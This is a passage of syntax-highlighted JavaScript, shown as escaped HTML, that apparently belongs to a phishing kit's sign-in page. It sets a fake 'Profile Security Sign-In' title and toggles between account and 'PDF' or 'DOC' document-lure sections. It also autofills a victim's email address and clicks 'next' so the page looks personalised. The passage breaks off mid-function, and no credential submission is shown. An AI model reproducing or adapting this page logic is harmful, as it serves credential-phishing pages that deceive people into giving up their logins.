&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sections_pdf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Profile Security Sign-In&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sections_pdf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#mainLoader&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;display&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sections_pdf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#section_uname_content&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sections_doc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Profile Security Sign-In&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;twa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryingtosignin&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.loading-container&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;loading&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;section_tryingtosignin&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toggle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Profile Security Sign-In&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_uname&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;twa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Profile Security Sign-In&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// });&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailinputele&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tryfindingele&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;uname&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;inp_uname&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailsectionelecheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;section_uname&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emailsectionelecheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_uname&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#btn_next&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;emailinputele&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;tryfindingele&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;uname_pdf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;pdfemail&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailsectionelecheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;section_uname_content&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emailsectionelecheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_uname_pdf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#btn_next_pdf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;emailinputele&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;tryfindingele&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;uname_doc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;docemail&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;emailsectionelecheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;section_uname_content&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emailsectionelecheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;emailinputcheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
